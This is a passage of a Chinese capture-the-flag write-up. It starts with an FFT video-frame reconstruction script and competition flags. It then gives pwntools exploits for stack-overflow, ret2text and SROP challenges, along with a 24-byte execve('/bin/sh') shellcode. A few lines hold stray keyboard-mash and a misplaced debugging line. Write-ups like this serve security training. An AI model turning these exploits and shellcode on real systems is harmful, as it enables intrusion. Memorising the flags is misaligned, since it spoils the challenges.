# Extract frames from the magnitude and phase videos
os.system('ffmpeg -i 1.mkv m_frame/%03d.png')
os.system('ffmpeg -i 2.mkv p_frame/%03d.png')

# Get the list of frame files (assuming they are named sequentially, e.g., 001.png)
files = sorted(os.listdir('m_frame'))

# Open the 'r' file containing min and max values for magnitude
with open('r', 'rb') as r_file:
for file in files:
# Read the min and max values for the magnitude (m) of the current frame
data = r_file.read(8) # Two floats, 4 bytes each
m_min, m_max = struct.unpack('!ff', data)

# Read the magnitude image (mapped m) from 1.mkv
m_img = cv2.imread(f'm_frame/{file}', cv2.IMREAD_GRAYSCALE)
# Reverse the mapping to recover the original m
# Original mapping: new_data = (m - m_min) * 255 / (m_max - m_min)
# Reverse: m = (m_img / 255) * (m_max - m_min) + m_min
m = m_img / 255.0 * (m_max - m_min) + m_min

# Read the phase image (mapped p) from 2.mkv
p_img = cv2.imread(f'p_frame/{file}', cv2.IMREAD_GRAYSCALE)
# Reverse the mapping to recover the original p
# Since p = np.angle(fft), it ranges from [-π, π]
# Original mapping uses actual min and max, but only m's min/max are saved
# Assume p ranges from -π to π: new_data = (p - (-π)) * 255 / (π - (-π))
# Reverse: p = (p_img / 255) * 2π - π
p = p_img / 255.0 * (2 * np.pi) - np.pi

# Reconstruct the FFT magnitude from m
# Original: m = np.log(np.abs(fft)), so np.abs(fft) = exp(m)
mag = np.exp(m)

# The phase p is directly the angle
# Reconstruct the FFT: fft = magnitude * exp(1j * phase)
fft = mag * np.exp(1j * p)

# Reverse the fftshift applied in the original script
fft = np.fft.ifftshift(fft)

# Apply the inverse FFT to recover the image
img = np.fft.ifft2(fft)

# Take the real part (original image is real-valued) and clip to [0, 255]
img = np.clip(np.real(img), 0, 255).astype(np.uint8)

# Save the reconstructed frame
cv2.imwrite(f'reconstructed/{file}', img)

# Combine the reconstructed frames into a video
os.system('ffmpeg -i reconstructed/%03d.png -r 25 -vcodec libx264 reconstructed.mp4')

image-20250409171341504

image-20250409171354033

image-20250409171405643

image-20250409171414594

image-20250409171420201

SQCTF{HELLO}

小巷人家

image-20250411144043087

SQCTF{西园寺}

问卷

SQCTF{this_is_real_end}

PWN

浅红欺醉粉,肯信有江梅

nc连接直接ls``cat

领取你的小猫娘

简单栈溢出

exp

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
io=process('./pwn')
io=remote('challenge.qsnctf.com',30010)
elf=ELF('./pwn')

system=0x40121B
payload=b'a'*(0x50+8)+p64(system)
io.sendline(payload)

io.interactive()

当时只道是寻常

主要汇编

.text:0000000000401000 48 83 EC 08                   sub     rsp, 8
.text:0000000000401004 B8 01 00 00 00 mov eax, 1
.text:0000000000401009 BF 01 00 00 00 mov edi, 1 ; fd
.text:000000000040100E 48 BE 00 20 40 00 00 00 00 00 mov rsi, offset msg ; buf
.text:0000000000401018 BA 3A 00 00 00 mov edx, 3Ah ; ':' ; count
.text:000000000040101D 0F 05 syscall ; LINUX - sys_write
.text:000000000040101F B8 00 00 00 00 mov eax, 0
.text:0000000000401024 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401029 48 89 E6 mov rsi, rsp ; buf
.text:000000000040102C BA 00 04 00 00 mov edx, 400h ; count
.text:0000000000401031 0F 05 syscall ; LINUX - sys_read
.text:0000000000401033 BA 08 00 00 00 mov edx, 8 ; count
.text:0000000000401038 B8 01 00 00 00 mov eax, 1
.text:000000000040103D BF 01 00 00 00 mov edi, 1 ; fd
.text:0000000000401042 48 89 E6 mov rsi, rsp ; buf
.text:0000000000401045 0F 05 syscall ; LINUX - sys_write
.text:0000000000401047 5D pop rbp
.text:0000000000401048 C3 retn

伪代码

signed __int64 start()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
char v3[8]; // [rsp+0h] [rbp-8h] BYREF

v0 = sys_write(1u, &msg, 58uLL);
v1 = sys_read(0, v3, 0x400uLL);
return sys_write(1u, v3, 8uLL);
}

+asdfghjkZ现场v不那么,。/l一开始看到是系统调用read有点蒙,直接用gdb调试

有/bin/sh存在栈溢出,什么保护都没开但不能直接构造rop链gadget不太够用这里尝试伪造栈帧通过系统调用sys_rt_sigreturn 改变寄存器状态从而系统调用execve(“/bin/sh,0,0”)

要系统调用execve(“/bin/sh,0,0”)需要控制以下寄存器

rdi --> /bin/sh地址(题目中给到了)
rsi --> 0
rdx -->0
rax -->3b

故通过伪造信号帧的方式来调整寄存器的值

先利用已有gadget进行系统调用 sys_rt_sigreturn

payload=b'a'*0x8+p64(pop_rax)+p64(0xf)+p64(syscall)

因为是系统调用read只在最后有pop rbp ret的操作故栈上前8个字节会弹到rbp中rsp+8,原rbp处变成了返回地址弹到rip中,故只填充8个字节pop_rax会被放到rip中执行

利用pwntool库中的SigreturnFrame函数伪造信号帧并将其转换为字节序列压入栈中

fake = SigreturnFrame()  
fake.rax = 0x3b
fake.rdi = 0x40203A
fake.rdx = 0
fake.rsi = 0
fake.rsp = 0x402044
fake.rip = 0x401045
payload+=bytes(fake)

完整exp:

from pwn import*
context.update(arch='amd64',os='linux',log_level='debug')
#context.terminal=['qterminal','-e']
debug=1
if debug:
p=process('./pwn01')
else:
p=remote('challenge.qsnctf.com',30956)
pop_rax=0x000000000040104a
bin_sh=0x40203a
payload=b'a'*8
payload+=p64(pop_rax)
payload+=p64(0xf)
payload+=p64(0x401045)
fake = SigreturnFrame()
fake.rax = 0x3b
fake.rdi = 0x40203A
fake.rdx = 0
fake.rsi = 0
fake.rsp = 0x402044
fake.rip = 0x401045
payload+=bytes(fake)
+gdb.attach(p)
p.send(payload)
p.interactive()

我觉君非池中物,咫尺蛟龙云雨

虽然保护全开但是用 mprotect函数使得bss段可读写执行故直接写shellcode即可

注意要小于0x30个字节我用了个24字节的

exp

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io=process('./pwn')
io=remote('challenge.qsnctf.com',32618)
elf=ELF('./pwn')

payload = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
#gdb.attach(io,'b* 0x401031')

# 打印或发送payload
print(payload)
io.recvuntil('window.')
io.sendline(payload)

io.interactive()

江南无所有,聊赠一枝春

简单ret2text

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io=process('./pwn01')
io=remote('challenge.qsnctf.com',32599)

gift = 0x4011DC

payload=b'a'*(0x40+0x8)+p64(gift)

io.sendline(payload)

io.interactive()

sqctf{e2a1f18d7125437db2405993b9802115}